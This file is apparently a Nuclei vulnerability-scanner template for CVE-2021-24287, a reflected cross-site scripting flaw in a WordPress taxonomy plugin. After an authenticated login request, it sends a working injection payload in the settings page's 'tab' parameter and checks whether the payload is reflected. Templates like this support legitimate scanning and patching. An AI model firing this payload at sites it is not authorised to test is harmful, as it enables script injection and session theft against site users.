nuclei-templates/cves/2021/CVE-2021-24287.yaml

47 lines
1.9 KiB
YAML

id: CVE-2021-24287
info:
name: WordPress Select All Categories and Taxonomies <1.3.2 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
WordPress Select All Categories and Taxonomies plugin before 1.3.2 contains a cross-site scripting vulnerability. The settings page of the plugin does not properly sanitize the tab parameter before outputting it back. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
reference:
- https://www.exploit-db.com/exploits/50349
- https://wpscan.com/vulnerability/56e1bb56-bfc5-40dd-b2d0-edef43d89bdf
- https://wordpress.org/plugins/select-all-categories-and-taxonomies-change-checkbox-to-radio-buttons/
- https://nvd.nist.gov/vuln/detail/CVE-2021-24287
remediation: Fixed in version 1.3.2.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24287
cwe-id: CWE-79
metadata:
verified: "true"
tags: wp,select-all-categories,taxonomies-change-checkbox-to-radio-buttons,authenticated,wpscan,cve2021,xss,wp-plugin,cve,wordpress,edb
requests:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/options-general.php?page=moove-taxonomy-settings&tab="+style=animation-name:rotation+onanimationstart="alert(document.domain); HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(body_2, "alert(document.domain)")'
- 'contains(body_2, "Set up the taxonomies")'
condition: and
# Enhanced by md on 2023/03/13